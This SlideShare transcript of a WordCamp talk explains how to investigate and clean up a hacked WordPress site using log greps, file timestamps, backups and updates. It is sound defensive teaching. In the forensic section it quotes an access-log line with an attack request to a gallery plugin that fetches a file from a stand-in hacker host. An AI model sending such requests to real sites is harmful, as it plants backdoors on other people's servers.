SlideShare a Scribd company logo
Post-Mortem of a
Hacked Website
Presented By: Tim Butler – Conetix
WordCamp Sunshine Coast 2016
Twitter: @timbutler
Who Am I?
Tim Butler
Enterprise Manager – Conetix
● 5 years in the hosting industry
● Previous - IT Security Manager within Federal Government
● Using WordPress since 2005
● Clean-up 2-5 hacked websites a week
In this talk….
➔What happens when you’re hacked
➔Deep Analysis
➔Clean Up
➔Prevention
But before we start….
Prevention is better than the cure
Backup Backup Backup!
(and then take an other backup)
How do you know if you’ve been hacked?
How do you know if you’ve been hacked?
• Used to be simple (but annoying) defacing
• Poor site performance
• Emails bouncing
• Google was nice enough to let you know
How do you know if you’ve been hacked?
Why was I hacked?
• You probably weren’t targeted specifically
• DoS attacks
• Phishing
• Spam
• Bot to hack other sites
Why was I hacked?
Google discover over 100,000 infected sites
per month
100 billion estimated cost of cybercrime
So… I’ve been hacked
• Hackers want to have the system exploited
for as long as possible
• Many exploits avoid Google / Chrome to
remain undetected
• Obfuscated code
• Self morphing code
So… I’ve been hacked
Basically, it’s one big game of cat and mouse
Source: simpsons.wikia.com
So…. I’ve been hacked
So…. I’ve been hacked
So…. I’ve been hacked
You had up-to-date backups, right?
Oh……..
Just another reminder
Backup
Backup
Backup!
Step1: Don’t Touch Anything
Step1: Don’t Touch Anything
Treat it like a crime scene
You need to preserve the digital forensics
Step1: Don’t Touch Anything
• Webserver log files
• Server log files
• File timestamps
• Talk to your host!
Most important part is to find the point of origin
Step1: Don’t Touch Anything
If you need your website back up immediately,
restore your most recent backup to a new
hosting subscription and update DNS
Step 2: Forensic Analysis
Step 2: Forensic Analysis
Need to prevent re-infection
Root Cause Analysis
Step 2: Forensic Analysis
Step 2: Forensic Analysis
Is it like CSI? Zoom and Enhance!
Step 2: Forensic Analysis
YEEEAAAAHH!
Step 2: Forensic Analysis
Reality
• Lots of digging through log files
• Lots of referencing file modifications times
• Lots of low-level, tech work
Step 2: Forensic Analysis
Access Log Files
Step 2: Forensic Analysis
Access Log Files
• First item to check
• Look for suspicious POST calls
• Looking for the result of the hack to start
with, not the cause
Step 2: Forensic Analysis
POST Calls
• Need to sort the good from the bad
grep POST access_log | wc -l
• 1,412 results
What to look for
Where to look for it
Quickly count the results
Step 2: Forensic Analysis
POST Calls
grep POST access_log |
grep -v wp-cron.php |
grep –v xmlrpc.php |
grep –v /wp-admin |
grep –v wp-login.php |
wc –l
• 516 results
-v = inverse match
Step 2: Forensic Analysis
POST Calls
grep POST access_log |
grep -v wp-cron.php |
grep –v xmlrpc.php |
grep –v /wp-admin |
grep –v wp-login.php |
wc –l
• 16 results
Only match 200 calls, ie filter out 403 / 404
Step 2: Forensic Analysis
POST Calls
Hopefully narrowed it down to something like
this
Step 2: Forensic Analysis
• File Contents
Step 2: Forensic Analysis
File Creation / Modification Times
• We know the malicious file is
wp-content/plugins/legit-looking/plugin/safefile.php
• Let’s look at the modification time:
ls –l safefile.php
-rw-r--r-- 1 fileowner filegroup 99424 Mar 23 2013
safefile.php
• Also check the creation time:
Step 2: Forensic Analysis
File Creation / Modification Times
• Also check the creation time:
ls –lc safefile.php
-rw-r--r-- 1 fileowner filegroup 99424 Apr 18 02:45
safefile.php
• Dates can be manipulated! Here’s were we need to search
Step 2: Forensic Analysis
Recheck Access Logs
grep “[18/Apr/2016:02:45” access_log
This may give us something like:
xxx.xxx.xxx.xxx - - [18/Apr/2016:02:45:00 +1000] "GET /wp-content/plugins/robo-
gallery/includes/rbs_gallery_ajax.php?function=file_put_contents(%22http%3A%2F%2F
hackerssite%2Fscripts%2Fsafefile.php%22) HTTP/1.1" 200 449954 "-" "Mozilla/5.0
(Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0“
Step 2: Forensic Analysis
Step 3: The Clean Up
Step 3: The Clean Up
Most secure way is to restore from backup
Yet another reminder
Backup
Backup
Backup!
Step 3: The Clean Up
• 10x as much work
If there’s no backups…
• Hackers love to leave backdoors to regain
access
Step 3: The Clean Up
Remove infected files
• Malicious files
• Look for other files
They can modify every other file in your site
Step 3: The Clean Up
Check for Database changes
• Inserted users
• Updated passwords/ privileges for non-
admin users
Step 3: The Clean Up
Cron Jobs
• Scheduled re-infections
• Check your web control panel / raw cron
Step 3: The Clean Up
RBL Blacklists
• If you were spamming, automated systems
notice
• Use an RBL lookup to check
- Senderbase (used by Telstra / Optus etc) don’t
allow you to automate scans
- Nor does Hotmail / Outlook / Office365 / Google
Step 4: Prevention
Step 4: Prevention
Yeah… well… it’s not exactly prevention…
But….
Final Reminder
Backup
Backup
Backup!
Step 4: Prevention
One critical step
UPDATEUPDATE
Step 4: Prevention
Keep your software up-to-date
• Core
• Plugins
• Themes
Step 4: Prevention
Keep your software up-to-date
• One gotcha to be aware of:
Paid Themes with Plugins
- may not auto update
- may require an active subscription
• Remove (don’t just disable) unused themes / plugins
Step 4: Prevention
Secure Passwords
• Unique password per site / login
• Use a password manager
• Length is more important than complexity
(12+ characters is good)
Step 4: Prevention
Monitoring
• Monitor your site performance
• Google Webmaster alerts
• WordFence / iThemes Security
Step 4: Prevention
Server / Hosting Protection
• CloudFlare Pro / Web Application Firewall
• Limit each site to one user
• Don’t keep old directories / backups on the
server
Questions?
Source: https://xkcd.com/1328/
Thank You!
https://www.conetix.com.au/events/wordcamp-sunshine-coast-2016

More Related Content

What's hot

Logging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch themLogging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch them
Michael Gough
 
Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0
Michael Gough
 
You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0
Michael Gough
 
Logging for hackers SAINTCON
Logging for hackers SAINTCONLogging for hackers SAINTCON
Logging for hackers SAINTCON
Michael Gough
 
Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015
Michael Gough
 
Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1
Michael Gough
 
Commodity malware means YOU
Commodity malware means YOUCommodity malware means YOU
Commodity malware means YOU
Michael Gough
 
Info sec is not daunting v1.0
Info sec is not daunting v1.0 Info sec is not daunting v1.0
Info sec is not daunting v1.0
Michael Gough
 
Hunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestHunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forest
SecuRing
 
Bsides detroit 2013 honeypots
Bsides detroit 2013   honeypotsBsides detroit 2013   honeypots
Bsides detroit 2013 honeypotsTazdrumm3r
 
Proper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSProper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoS
Michael Gough
 
Anton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is HackedAnton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin
 
RMISC logging for hackers
RMISC logging for hackersRMISC logging for hackers
RMISC logging for hackers
Michael Gough
 
Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1
Michael Gough
 
Email keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malwareEmail keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malware
Michael Gough
 
InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0
Michael Gough
 
DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1
Michael Gough
 
Pentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated TestingPentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated Testing
Andrew McNicol
 

What's hot (18)

Logging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch themLogging for Hackers - What you need to know to catch them
Logging for Hackers - What you need to know to catch them
 
Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0Windows IR made easier and faster v1.0
Windows IR made easier and faster v1.0
 
You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0You need a PROcess to catch running processes and their modules_v2.0
You need a PROcess to catch running processes and their modules_v2.0
 
Logging for hackers SAINTCON
Logging for hackers SAINTCONLogging for hackers SAINTCON
Logging for hackers SAINTCON
 
Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015Secure Yourself, Practice what we preach - BSides Austin 2015
Secure Yourself, Practice what we preach - BSides Austin 2015
 
Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1Detecting WMI Exploitation v1.1
Detecting WMI Exploitation v1.1
 
Commodity malware means YOU
Commodity malware means YOUCommodity malware means YOU
Commodity malware means YOU
 
Info sec is not daunting v1.0
Info sec is not daunting v1.0 Info sec is not daunting v1.0
Info sec is not daunting v1.0
 
Hunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forestHunting for the secrets in a cloud forest
Hunting for the secrets in a cloud forest
 
Bsides detroit 2013 honeypots
Bsides detroit 2013   honeypotsBsides detroit 2013   honeypots
Bsides detroit 2013 honeypots
 
Proper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoSProper logging can catch breaches like retail PoS
Proper logging can catch breaches like retail PoS
 
Anton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is HackedAnton Chuvakin on Discovering That Your Linux Box is Hacked
Anton Chuvakin on Discovering That Your Linux Box is Hacked
 
RMISC logging for hackers
RMISC logging for hackersRMISC logging for hackers
RMISC logging for hackers
 
Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1Email keeps getting us pwned v1.1
Email keeps getting us pwned v1.1
 
Email keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malwareEmail keeps getting us pwned - Avoiding Ransomware and malware
Email keeps getting us pwned - Avoiding Ransomware and malware
 
InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0
 
DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1DIR ISF - Email keeps getting us pwned v1.1
DIR ISF - Email keeps getting us pwned v1.1
 
Pentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated TestingPentesting Tips: Beyond Automated Testing
Pentesting Tips: Beyond Automated Testing
 

Similar to Post Mortem of a Hacked Website - Wordcamp Sunshine Coast 2016

Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfBrute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Lior Rotkovitch
 
Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019
Paul Haskell-Dowland
 
Abraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permissionAbraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permissionYury Chemerkin
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad Guys
Joff Thyer
 
H4CK1N6 - Web Application Security
H4CK1N6 - Web Application SecurityH4CK1N6 - Web Application Security
H4CK1N6 - Web Application Security
Oliver Hader
 
Legal and efficient web app testing without permission
Legal and efficient web app testing without permissionLegal and efficient web app testing without permission
Legal and efficient web app testing without permission
Abraham Aranguren
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchain
jasonhaddix
 
Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016
Andrew McNicol
 
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
grecsl
 
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...Andrew Morris
 
All These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDFAll These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDF
Michael Gough
 
2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion Detection2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion Detection
APNIC
 
When Security Tools Fail You
When Security Tools Fail YouWhen Security Tools Fail You
When Security Tools Fail You
Michael Gough
 
Cambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacksCambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacks
APNIC
 
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
Chris Gates
 
Magento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security SessionMagento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security Session
Nexcess.net LLC
 
Oracle database threats - LAOUC Webinar
Oracle database threats - LAOUC WebinarOracle database threats - LAOUC Webinar
Oracle database threats - LAOUC Webinar
Osama Mustafa
 
Devoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systemsDevoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systems
Bert Jan Schrijver
 
Arnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systemsArnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systems
Bert Jan Schrijver
 
6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data Collection6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data Collection
Sam Bowne
 

Similar to Post Mortem of a Hacked Website - Wordcamp Sunshine Coast 2016 (20)

Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfBrute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
 
Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019Ethical hacking 101 - Singapore RSA 2019
Ethical hacking 101 - Singapore RSA 2019
 
Abraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permissionAbraham aranguren. legal and efficient web app testing without permission
Abraham aranguren. legal and efficient web app testing without permission
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad Guys
 
H4CK1N6 - Web Application Security
H4CK1N6 - Web Application SecurityH4CK1N6 - Web Application Security
H4CK1N6 - Web Application Security
 
Legal and efficient web app testing without permission
Legal and efficient web app testing without permissionLegal and efficient web app testing without permission
Legal and efficient web app testing without permission
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchain
 
Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016
 
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
Malware Analysis 101: N00b to Ninja in 60 Minutes at BSidesDC on October 19, ...
 
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns...
 
All These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDFAll These Sophisticated Attacks, Can We Really Detect Them - PDF
All These Sophisticated Attacks, Can We Really Detect Them - PDF
 
2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion Detection2023 NCIT: Introduction to Intrusion Detection
2023 NCIT: Introduction to Intrusion Detection
 
When Security Tools Fail You
When Security Tools Fail YouWhen Security Tools Fail You
When Security Tools Fail You
 
Cambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacksCambodia CERT Seminar: Incident response for ransomeware attacks
Cambodia CERT Seminar: Incident response for ransomeware attacks
 
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
 
Magento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security SessionMagento Live UK Nexcess Performance & Security Session
Magento Live UK Nexcess Performance & Security Session
 
Oracle database threats - LAOUC Webinar
Oracle database threats - LAOUC WebinarOracle database threats - LAOUC Webinar
Oracle database threats - LAOUC Webinar
 
Devoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systemsDevoxx Belgium 2022 - Debugging distributed systems
Devoxx Belgium 2022 - Debugging distributed systems
 
Arnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systemsArnhem JUG March 2023 - Debugging distributed systems
Arnhem JUG March 2023 - Debugging distributed systems
 
6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data Collection6 Scope & 7 Live Data Collection
6 Scope & 7 Live Data Collection
 

Recently uploaded

Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume MontevideoVitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke
 
Advanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should KnowAdvanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should Know
Peter Caitens
 
Designing for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web ServicesDesigning for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web Services
KrzysztofKkol1
 
Corporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMSCorporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMS
Tendenci - The Open Source AMS (Association Management Software)
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
wottaspaceseo
 
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdfDominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
AMB-Review
 
Strategies for Successful Data Migration Tools.pptx
Strategies for Successful Data Migration Tools.pptxStrategies for Successful Data Migration Tools.pptx
Strategies for Successful Data Migration Tools.pptx
varshanayak241
 
A Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdfA Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdf
kalichargn70th171
 
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus
 
Into the Box 2024 - Keynote Day 2 Slides.pdf
Into the Box 2024 - Keynote Day 2 Slides.pdfInto the Box 2024 - Keynote Day 2 Slides.pdf
Into the Box 2024 - Keynote Day 2 Slides.pdf
Ortus Solutions, Corp
 
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Globus
 
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Hivelance Technology
 
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
XfilesPro
 
Visitor Management System in India- Vizman.app
Visitor Management System in India- Vizman.appVisitor Management System in India- Vizman.app
Visitor Management System in India- Vizman.app
NaapbooksPrivateLimi
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
Matt Welsh
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus
 
Providing Globus Services to Users of JASMIN for Environmental Data Analysis
Providing Globus Services to Users of JASMIN for Environmental Data AnalysisProviding Globus Services to Users of JASMIN for Environmental Data Analysis
Providing Globus Services to Users of JASMIN for Environmental Data Analysis
Globus
 
Understanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSageUnderstanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSage
Globus
 
In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...
In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...
In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...
Juraj Vysvader
 
BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024
Ortus Solutions, Corp
 

Recently uploaded (20)

Vitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume MontevideoVitthal Shirke Microservices Resume Montevideo
Vitthal Shirke Microservices Resume Montevideo
 
Advanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should KnowAdvanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should Know
 
Designing for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web ServicesDesigning for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web Services
 
Corporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMSCorporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMS
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
 
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdfDominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
Dominate Social Media with TubeTrivia AI’s Addictive Quiz Videos.pdf
 
Strategies for Successful Data Migration Tools.pptx
Strategies for Successful Data Migration Tools.pptxStrategies for Successful Data Migration Tools.pptx
Strategies for Successful Data Migration Tools.pptx
 
A Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdfA Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdf
 
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024
 
Into the Box 2024 - Keynote Day 2 Slides.pdf
Into the Box 2024 - Keynote Day 2 Slides.pdfInto the Box 2024 - Keynote Day 2 Slides.pdf
Into the Box 2024 - Keynote Day 2 Slides.pdf
 
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
 
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
 
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
 
Visitor Management System in India- Vizman.app
Visitor Management System in India- Vizman.appVisitor Management System in India- Vizman.app
Visitor Management System in India- Vizman.app
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
 
Providing Globus Services to Users of JASMIN for Environmental Data Analysis
Providing Globus Services to Users of JASMIN for Environmental Data AnalysisProviding Globus Services to Users of JASMIN for Environmental Data Analysis
Providing Globus Services to Users of JASMIN for Environmental Data Analysis
 
Understanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSageUnderstanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSage
 
In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...
In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...
In 2015, I used to write extensions for Joomla, WordPress, phpBB3, etc and I ...
 
BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024
 

Post Mortem of a Hacked Website - Wordcamp Sunshine Coast 2016

  • 1. Post-Mortem of a Hacked Website Presented By: Tim Butler – Conetix WordCamp Sunshine Coast 2016 Twitter: @timbutler
  • 2. Who Am I? Tim Butler Enterprise Manager – Conetix ● 5 years in the hosting industry ● Previous - IT Security Manager within Federal Government ● Using WordPress since 2005 ● Clean-up 2-5 hacked websites a week
  • 3. In this talk…. ➔What happens when you’re hacked ➔Deep Analysis ➔Clean Up ➔Prevention
  • 4. But before we start…. Prevention is better than the cure Backup Backup Backup! (and then take an other backup)
  • 5. How do you know if you’ve been hacked?
  • 6. How do you know if you’ve been hacked? • Used to be simple (but annoying) defacing • Poor site performance • Emails bouncing • Google was nice enough to let you know
  • 7. How do you know if you’ve been hacked?
  • 8. Why was I hacked? • You probably weren’t targeted specifically • DoS attacks • Phishing • Spam • Bot to hack other sites
  • 9. Why was I hacked? Google discover over 100,000 infected sites per month 100 billion estimated cost of cybercrime
  • 10. So… I’ve been hacked • Hackers want to have the system exploited for as long as possible • Many exploits avoid Google / Chrome to remain undetected • Obfuscated code • Self morphing code
  • 11. So… I’ve been hacked Basically, it’s one big game of cat and mouse Source: simpsons.wikia.com
  • 14. So…. I’ve been hacked You had up-to-date backups, right? Oh……..
  • 17. Step1: Don’t Touch Anything Treat it like a crime scene You need to preserve the digital forensics
  • 18. Step1: Don’t Touch Anything • Webserver log files • Server log files • File timestamps • Talk to your host! Most important part is to find the point of origin
  • 19. Step1: Don’t Touch Anything If you need your website back up immediately, restore your most recent backup to a new hosting subscription and update DNS
  • 20. Step 2: Forensic Analysis
  • 21. Step 2: Forensic Analysis Need to prevent re-infection Root Cause Analysis
  • 22. Step 2: Forensic Analysis
  • 23. Step 2: Forensic Analysis Is it like CSI? Zoom and Enhance!
